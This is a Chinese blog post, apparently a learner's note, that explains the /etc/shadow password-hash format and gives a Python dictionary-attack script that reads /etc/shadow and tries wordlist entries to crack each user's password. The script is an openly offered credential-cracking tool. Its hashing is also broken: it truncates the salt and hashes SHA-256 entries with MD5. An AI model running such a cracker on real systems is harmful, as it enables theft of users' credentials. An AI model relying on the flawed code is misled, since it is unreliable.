linux shadow文件破解
阿新 • • 發佈:2017-08-07
shadow
linux shadow文件破解程序
解析shadow文件中密碼字符串的內容
對於示例的密碼域$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.,我們參考了Linux標準源文件passwd.c,在其中的pw_encrypt函數中找到了加密方法。
我們發現所謂的加密算法,其實就是用明文密碼和一個叫salt的東西通過函數crypt()完成加密。
而所謂的密碼域密文也是由三部分組成的,即:$id$salt$encrypted。
【註】:
id為1時,采用md5進行加密;
id為5時,采用SHA256進行加密;
id為6時,采用SHA512進行加密。
# -*- coding: utf-8 -*- import crypt import sys import hashlib dictionary=sys.argv[1] def enMd5(word,salt): md5_obj=hashlib.md5() md5_obj.update(word+salt) return md5_obj.hexdigest() def enSha512(word,salt): sha512_obj=hashlib.sha512() sha512_obj.update(word+salt) return sha512_obj.hexdigest() def testPass(cryptPass): salt=cryptPass[0:2] dictFile=open(dictionary,‘r‘) for word in dictFile.readlines(): word=word.strip(‘\n‘) if salt==‘$1‘: cryptWord=crypt.crypt(word,salt) elif salt==‘$5‘: cryptWord=enMd5(word,salt) elif salt==‘$6‘: cryptWord=enSha512(word,salt) else: return if (cryptWord==cryptPass): print "[+] Found Password:"+word+"\n" return print "[-] Password Not Found.\n" return def main(): passFile=open(‘/etc/shadow‘) for line in passFile.readlines(): if ":" in line: user=line.split(‘:‘)[0] cryptPass=line.split(‘:‘)[1].strip(‘ ‘) print "[*] Cracking Password For:"+user testPass(cryptPass) if __name__=="__main__": main()
本文出自 “菜鳥學習筆記” 博客,請務必保留此出處http://bohel.blog.51cto.com/6218546/1954113
linux shadow文件破解